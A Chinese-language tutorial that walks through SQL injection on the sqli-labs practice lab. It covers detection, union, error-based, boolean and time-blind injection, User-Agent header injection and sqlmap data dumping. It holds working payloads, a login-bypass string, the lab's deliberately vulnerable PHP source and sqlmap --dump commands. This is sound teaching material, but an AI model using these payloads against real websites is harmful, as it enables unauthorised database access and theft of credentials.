SQL注入
介绍
SQL注入的本质:
用户输入的数据当做SQL代码执行
SQL注入的流程:
检测是否存在漏洞
数字型判断:
当输入的参数 x 为整型时,通常Sql 语句类型大致如下:
select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
- Url 地址中输入 http://xxx/abc.php?id= x and 1=1页面依旧运行正常,继续进行下一步。
- Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2页面运行错误,则说明此 Sql 注入为数字型注入。
原理:
- 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。 -
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
字符型判断
当输入的参 x 为字符型时,通常 SQL 语句类型大致如下: select * from <表名> where id = ‘x’ 这种类型我们同样可以使用 ‘ and 1=1 和 ‘ and 1=2来判断:
- Url 地址中输入 http://xxx/abc.php?id= x ‘ and 1=1 页面运行正常,继续进行下一步。
- Url 地址中继续输入 http://xxx/abc.php?id= x ‘ and 1=2 页面运行错误,则说明此 Sql 注入为字符型注入。
and 1=1这种方式很出名,所以很多网站会对这个做拦截,所以需要对这个做一些变形比如and -1=-1这种方式等
#除了逻辑运算符来判断是否存在漏洞还可以使用加减运算符来进行判断
#如果网页自行进行了运算,说明我们输入的内容被执行了,同时还知道是一个数字类型的
MariaDB [test]> select 1+2;
+-----+
| 1+2 |
+-----+
| 3 |
+-----+
1 row in set (0.001 sec)
#如果输入内容未被正常运算,说明这里不存在漏洞或者这是一个字符类型的
MariaDB [test]> select '1+2';
+-----+
| 1+2 |
+-----+
| 1+2 |
+-----+
1 row in set (0.000 sec)
#如果是字符类型的,也可以自行闭合在进行运算
MariaDB [test]> select '1'+1;
+-------+
| '1'+1 |
+-------+
| 2 |
+-------+
1 row in set (0.000 sec)
#所有的GET传参,他们都是要URL编码的,+在Url编码里面代表着空格。所以直接使用减好或者将+url编码后在使用
#除了上述两种还有一种通过延时来检查是否存在漏洞
#因为有些页面发现通过上述方式没有用,显示的都是一样的内容,此时就可以试试以下命令
and sleep(10)
#如果执行之后页面一直转圈圈加载中,差不多过了是10s才成功加载,说明此处可能存在漏洞
利用漏洞,看看能否拿到数据
union => 联合查询:将两条SQL语句的结果一齐输出(满足什么条件:相同字段数)
order by => 排序 (得到原有查询语句输出结果有几个字段) id一般都是正整数 and 1=2 数据库可以选择性输出
database()// 库、表、字段、数据 (显示当前数据库的库名) => maoshe 堆叠注入(;结尾原有原句,然后后面另起一行)
information_schema => information_schema库里面存在着tables表,里面存放着数据库和数据表的关联,columns表中存放在数据表与字段的关联
库.表.字段 => 选中X库中的X表中的X字段
limit => 分页
limit n,m => 从n+1条数据取m条
limit 8,9 => 从第9条数据开始取9条数据
limit 0,1 => 从第一条数据开始取1条数据
group_concat(字段名) => 多行数据全部输出,通过“,”间隔(这个不建议使用,因为有些网站限制输出长度)
注释符
在sql注入时,为了避免后续代码的影响,比如说我们通过引号进行闭合后,在输入内容的最后还有一个引号,此时我们可以使用注释符,将我们插入内容后面的部分做注释
注释符号有以下三种
- 从‘#’字符到行尾。 只在mysql数据库中有用不建议使用
- 从‘– ’序列到行尾。请注意‘– ’(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符等等)。 推荐使用此方式
- 从/序列到后面的/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。
GET注入
字符型——Less-1
判断是是否存在漏洞,是哪种类型的
不用引号闭合直接通过逻辑判断,没有做逻辑判断
使用引号闭合再做逻辑判断
很明显这是一个字符型的
获取字段数
通过order by获取字段数
3的时候正常,4的时候报错,很明显有三个字段
获取回显点
通过union 进行联合查询
注意:有些网页只会显示查询结果的第一条,所以如果id为一个正确的值,那么网页只会会先联合查询前的内容,所以我们需要写一个不存在的id比如1.1这种小数
很明显回显点为第二和第三字段
获取库名
通过database()获取库名
库名为security
获取表名
获取表名emails,referers,uagents,users
获取字段名
通过查询information_schema.columns表中的column_name字段获取字段名
字段名为:id,username,password
获取数据
知道了库名,表名,字段名,可以查询表中的数据
数字型——Less-2
判断是是否存在漏洞,是哪种类型的
很明显是一个数字型
获取字段数
字段数为3
获取回显点
第二第三个字段为回显点
获取库名
库名为security
获取表名
获取表名emails,referers,uagents,users
获取字段名
字段名为:id,username,password
获取数据
是不是很简单?字符型和数字型感觉除了多一个引号没啥区别对吧
POST注入
其实本质上与GET是一样的,只不过GET获取传参是通过URL,而POST获取传参是 通过网页上的一些登录上传来获取的。
万能密码
比如有一个登录框我们想试试存不存在注入,就可以试试万能密码
haha' or 1=1 -- qwe
随便输入一个用户名,然后通过or 1=1来进行逻辑运算,因为无论前面内容对不对,or 1=1都是成立的,所以整体为真。通过引号来判断为字符型还是数字型
字符型——Less11
判断是否存在漏洞,且判断类型
存在漏洞,为字符型
获取字段数
通过order by来获取字段数
注意:如果知道正确的用户名,可以使用一下方法,如果不知道用户名就使用haha' or 1=1 order by 1 -- qwe来进行获取字段数。只不过大部分的登录都是可以注册的,最多就是权限不同所以大部分你是可以知道正确的用户名的
order by 2成功,order by 3报错字段数为2
获取回显点
发现字段1和字段2都是回显点
获取库名
库名为security
获取表名
获取表名emails,referers,uagents,users
获取字段名
字段名为:id,username,password
获取数据
是不是和get没什么区别?
SQL map的使用
GET注入
查看是否存在漏洞
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1
发现存在漏洞
获取数据库名
sqlmap-master>python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 --dbs
获取到了所有的数据库名
获取表名
-D参数指定库名,–tables参数查询表名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security --tables
获取到所有表名
获取字段名
-T参数指定表名,–columns参数查询字段名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security -T users --columns
获取到了所有的字段名
查询信息
-C参数指定字段名,–dump参数枚举数据
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security -T users -C username --dump
枚举出了所有的username字段的值
POST注入
直接注入
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-11/
没有发现注入点,不存在漏洞
使用–form参数
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-11/ --form
存在漏洞
使用-r参数
通过BURP抓包,将抓包的内容保存到一个文本文件中,可以是txt可以是php这个都无所谓,最好是保存在sqlmap的路径中
我这里创建一个test.txt用于存放抓包内容
我觉得uname这个传参可能存在漏洞,就在后面加一个星号(*)
使用-r参数指定文件,–level指定要测试的级别,–risk指定风险等级
python sqlmap.py -r test.txt --level 3 --risk 2
存在漏洞
接下来就和GET一样了,–dbs获取库名,–tables获取表名,–columns获取字段名,–dump枚举数据
温馨提示:
在学习的过程中不要使用sqlmap,咱们多手工,多练习。工具谁不会呢工作中慢慢用工具
报错注入
简介
报错注入是在没法用union联合查询时考虑使用的一种注入方式。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要使用的是xpath语法错误
和concat+rand()+group_by()导致主键重复
xpath语法错误
利用xpath语法错误来进行报错注入主要利用extractvalue
和updatexml
两个函数。
使用条件:mysql版本>5.1.5
updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
作用:更新目标xml中的内容
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
白话文版本
updatexml(目标xml内容,xml文档路径,更新的内容)
#演示
MariaDB [test]> select updatexml(1,'~',1);
ERROR 1105 (HY000): XPATH syntax error: '~'
“~”在报错中显示出来了,那么我们是不是可以在这个位置放入查询语句呢?
构造查询语句
#直接在第二字段处写查询语句
MariaDB [test]> select updatexml(1,'database()',1); #使用引号查询语句为字符串不会执行
ERROR 1105 (HY000): XPATH syntax error: '()'
MariaDB [test]> select updatexml(1,database(),1); #查询语句作为路径还是不会执行
+---------------------------+
| updatexml(1,database(),1) |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.000 sec)
MariaDB [test]> select updatexml(1,`database()`,1); #通过反引号,还是不行
ERROR 1054 (42S22): Unknown column 'database()' in 'field list'
MariaDB [test]> select updatexml(1,concat('~',database(),'~'),1); #使用concat函数来执行
ERROR 1105 (HY000): XPATH syntax error: '~test~' #成功执行
concat函数
CONCAT 函数用于将多个字符串连接为一个字符串,字段不能为空。
#连接纯数字
MariaDB [test]> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123 |
+---------------+
1 row in set (0.000 sec)
#连接代码与数字
MariaDB [test]> select concat(database(),2,3); #代码被正常执行了
+------------------------+
| concat(database(),2,3) |
+------------------------+
| test23 |
+------------------------+
1 row in set (0.000 sec)
特殊字符
因为concat虽然可以让我们执行代码,进行查询,查询结果会通过updatexml显示,但是显示的时候有时候并不是只会显示路径,可能还有一些其他的提示信息,那这个时候为了保证我们查询的结果不会和提示信息混淆,可以通过concat连接一些特殊的符号,特殊符号中间的内容就是我们查询的结果了,我这里习惯使用波浪号,其ASCII转码为0x7e,这样就可以不写引号了
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
#演示
MariaDB [test]> select extractvalue(1,'~');
ERROR 1105 (HY000): XPATH syntax error: '~'
总结
这两个函数的利用都是一样的都是使用第二个字段,用于注入
concat+rand()+group_by()导致主键重复
如果感兴趣的自己研究下这篇文章写的还不错
https://blog.csdn.net/qq_45200829/article/details/104807806
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
rand():
生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
floor():
对任意正或者负的十进制值向下取整
通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数
group by
group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name;
进行注入——Less5
判断判断是是否存在漏洞,是哪种类型的
通过观察很明显可以知道,显示“You are in……”是页面正确的表现,所以在不用引号闭合的时候没有做逻辑运算,而通过引号闭合的时候做了逻辑运算,所以这是一个字符型的
使用联合查询
获取字段数
字段数为3
获取回显点
很遗憾一个回显点都没有
BBQ了?之前学的没用了,不能注入了?虽然没有回显点,但是在order by的时候很明显的看到了有报错信息的提示,那就试试报错注入把
使用报错注入
获取库名
库名为security
获取表名
获取表名emails,referers,uagents,users
获取字段名
字段名为:id,username,password
获取信息
盲注
简介
在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程称为盲注
- 如果数据库运行返回结果时只反馈对错不会返回数据库中的信息,此时可以采用布尔盲注
- 如果数据库运行返回结果时页面不发生变化,此时可以使用时间盲注
需要掌握函数
length(str)
作用:返回字符串str的长度,以字节为单位。
MariaDB [test]> select length('123asd');
+------------------+
| length('123asd') |
+------------------+
| 6 |
+------------------+
1 row in set (0.000 sec)
通过length获取关键字的长度
substr
作用:截取字符串
用法:
substr(string string,num start,num length);
select substr(参数1,参数2,参数3) from 表名
#string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。
#截取从第三个字符开始,长度为2
MariaDB [test]> select substr('hahaklala',3,2);
+-------------------------+
| substr('hahaklala',3,2) |
+-------------------------+
| ha |
+-------------------------+
1 row in set (0.000 sec)
通过substr将关键字逐位截取
If(expr,v1,v2)
作用:如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
#表达式成了时,执行2
MariaDB [test]> select if(1=1,2,3);
+-------------+
| if(1=1,2,3) |
+-------------+
| 2 |
+-------------+
1 row in set (0.000 sec)
#表达式不成立时,执行3
MariaDB [test]> select if(2=1,2,3);
+-------------+
| if(2=1,2,3) |
+-------------+
| 3 |
+-------------+
1 row in set (0.000 sec)
表达式成了执行2,不成立执行3
Sleep(duration)
作用:在duration参数给定的秒数之后运行
#可以看到执行此命令使用了10秒
MariaDB [test]> select sleep(10);
+-----------+
| sleep(10) |
+-----------+
| 0 |
+-----------+
1 row in set (10.003 sec)
经过延迟返回结果
ascii(str)
作用:函数把str转换成ascii码值
#查看a的ASCII码值
MariaDB [test]> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.000 sec)
通过ascii函数获取对应的ASCII码数值
子查询
子查询需要被括号括起来
布尔盲注
原理
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
开始注入——Less-16
判断是否存在漏洞,是哪种类型的
首先试试是不是数字型
大概率不是数字型,试试是不是字符型
常见的闭合方式:单引号,双引号,单引号+),双引号+)
很明显这里通过双引号+)成功闭合,所以这里是一个字符类型的
通过联合查询
获取字段数
很明显这里无法使用联合查询,也没有报错信息显示,所以报错注入肯定也是无法使用的
布尔盲注
获取库名
因为这里不会显示库名,所以我们只能靠猜名字对不对,如果名字对了,就会显示正确页面,反之显示错误页面
因为我是知道数据库名字的,这里直接猜肯定对,但是如果真实的让你去猜测一个数据库名得猜多少次?
数据库长度 每一位的范围 猜测次数
1 0-9 10
2 0-9 100
3 0-9 1000
4 0-9 10000
8 0-127 72,057,594,037,927,936
直接猜测完整的数据信息,很明显不太显示,那么我们是不是可以一步一步来猜呢?
获取数据库长度
注意:观察我们猜测的过程,这是有原因的
最后得到结论数据库名的长度大于7不大于8,所以长度为8
获取库名的第一位
#在mysql数据库中字符是可以直接比较大小的,我也不知道a和b谁大姑且算b>a把
MariaDB [test]> select 'a'>'b';
+---------+
| 'a'>'b' |
+---------+
| 0 |
+---------+
1 row in set (0.000 sec)
MariaDB [test]> select 'c'>'b';
+---------+
| 'c'>'b' |
+---------+
| 1 |
+---------+
1 row in set (0.001 sec)
我们不知道第一位是数字还是字母还是别的什么,虽然数据库的库名是不会有特殊符号的,但是这么猜也得要一会
那么我们是不是可以将数据库库名的第一位的值转换为ASCII码对应的数字呢?这样我们就可以使用工具来直接爆破了
在mysql中可以使用ascii函数将值转换为ASCII码值
通过burp获取库名
成功获取到8位字符分别对应的ASCII码
115为s
101为e
99为c
117为u
114为r
105为i
116为t
121为y
数据库名为:security
获取表名
获取表名长度
uname=admin") and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) =1 -- qwe&passwd=&submit=Submit
使用BURP抓包
猜测有几个表
猜测每个表名的长度
开始爆破
获取到有四个表,第一个表的长度为6位,第二个表的长度为8位,第三个表的长度为7位,第四个表的成都为5位
获取第一个表名
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =1 -- qwe&passwd=&submit=Submit
知道表名有6位跑每一位
跑该位置对应的ASCII码值
开始爆破
爆破到了六位每一位对应的ASCII码
第一位:101——e
第二位:109——m
第三位:97——a
第四位:105——i
第五位:108——l
第六位:115——s
第一个表名为emails
第二第三个同理大家就自己去爆破把
获取字段名
与获取表名一样,先获取一共有多少个字段,每个字段名有多少位,然后再逐个爆破即可
获取字段个数,和位数
uname=admin") and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=1 -- qwe&passwd=&submit=Submit
从爆破结果可以得知该表中有两个字段,第一个字段为2位,第二个字段为8位
获取字段名
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1)) =1 -- qwe&passwd=&submit=Submit
第一位:105——i
第二位:100——d
第一个字段名为:id
第二个字段名同理,大家自行爆破
获取数据
一样的流程,先获取数据的个数,和位数,在爆破数据
取数据的个数,和位数
uname=admin") and length((select id from emails limit 0,1))=1 -- qwe&passwd=&submit=Submit
知道有8个,都是1位
获取数据
uname=admin") and ascii(substr((select id from emails limit 0,1),1,1)) =0 -- qwe&passwd=&submit=Submit
难吗?不难。但是很烦所以同学们烦去吧,我就演示到这里了,加油~~
时间盲注
原理
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,但是有些页面连最基本的正确还是错误都不提示 ,这就很无语,不过上有正常下有对策,我们可以使用延时函数,使得其如果正确就延时加载页面指定时间,这样我们可以通过查看页面是直接就加载完成了,还是延迟加载了一段时间来判断是否正确。
开始注入——Less-9
无论我们在传参处写入什么内容,页面显示的都是
所以此时要么不存在注入,要么只能使用最后的手段,时间盲注了
时间盲注
判断是否存在注入,是哪种类型的
当使用单引号闭合的时候很明显的加载时间边长了,所以这里存在时间盲注,且是字符型的
查询库名
那么要如何查询库名呢?是不是可以使用if条件判断结合sleep延时函数呢?如果我们的条件成了就执行延时,条件就是我们的查询语句。
?id=1'and if((length(database())=8),sleep(4),1) -- qwe
判断数据库名长度是否为8,如果是则延时4秒,如果不是则输出1(不成立的操作无所谓)
因为我是知道库名的所以知道长度为8,如果不知道就需要老老实实的先猜长度,再一个一个的猜对应位数的字符是什么。这个流程和我们布尔盲注是一样的,不过这里只能通过延时来观察,因为页面返回的内容都是一样的,所以爆破返回的结果的长度都是一样的,所以这时候就建议大家使用sqlmap工具了
使用sqlmap
查看是否存在漏洞
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2
存在时间盲注
查询库名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 --dbs
成功获取库名
查询表名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security --tables
成功获取表名
查询字段名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security -T users --columns
成功获取字段名
查询数据
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security -T users -C username --dump
获取详细信息
HEAD注入
简介
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
但是HEAD注入其实是比较难利用,因为我没正常情况下是没有后端代码的,他们的利用规则我们并不知道,无法有效闭合,所以一般情况下联合注入用不了,就会考虑盲注或者报错注入。
而且进行HEAD注入一般都出现在用户登录成功的数据包中,所以需要输入用户名和密码,虽然可以爆破,也可以自己创建一个普通用户来进行登录,但是总归还是有局限性的。
使用sqlmap跑包
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-18/ --level 3 --risk 2
并不能发现漏洞
源码查看
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT']; #调用预定义变量符中的元素
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; #$uagent直接调用预定义变量符中的内容,而且没有进行过滤,我们完全可以构造“HTTP_USER_AGENT”的值进行注入
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
$_SERVER是PHP中预定义变量符,可以获取头部信息,路径信息,IP信息。
通过以下代码查看$_SERVER的数据类型
web访问
BURP抓包修改User-Agent请求头的内容
可以查看到$_SERVER是一个数组包含35个元素,其中有很多信息,其中
HTTP_USER_AGENT:检查浏览页面的访问者在用什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好的代码。也就是我们浏览器抓包中的User-Agent请求头的内容
进行注入
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
通过抓包修改User-Agent请求头的内容就可以了,但是需要考虑闭合的问题,这边需要获取三个变量的值,如果我们修改的是'$uagent'的内容,之后通过注释符,'$IP', $uname这两个变量无法正常赋值肯定是会出现问题的,因为这是一个插入语句,指定的字段和插入的内容必须一一对应。如果不相信可以自己试试。
使用以下闭合
','','') -- qwe
在第一个单引号与逗号之间可以插入我们需要的sql语句,但是问题有来了,这是一个插入语句,所以是不会有回显的,我们无法按照联合查询的那一套流程来进行。需要使用报错注入
获取库名
插入语句
' and updatexml(1,concat(0x7e,database(),0x7e),1),'','') -- qwe
注意:
有时候使用and不行可以尝试使用or
完整内容
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and updatexml(1,concat(0x7e,database(),0x7e),1),'','') -- qwe, '$IP', $uname)";
成功获取库名
获取表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'','') -- qwe
获取表名emails,referers,uagents,users
获取字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1),'','') -- qwe
字段名为:id,username,password
获取数据
总结
这里演示的是User-Agent请求字段的注入,别的字段也都是有可能的,不过整体流程都是一样的,也都是需要查看源码进行有效闭合才可以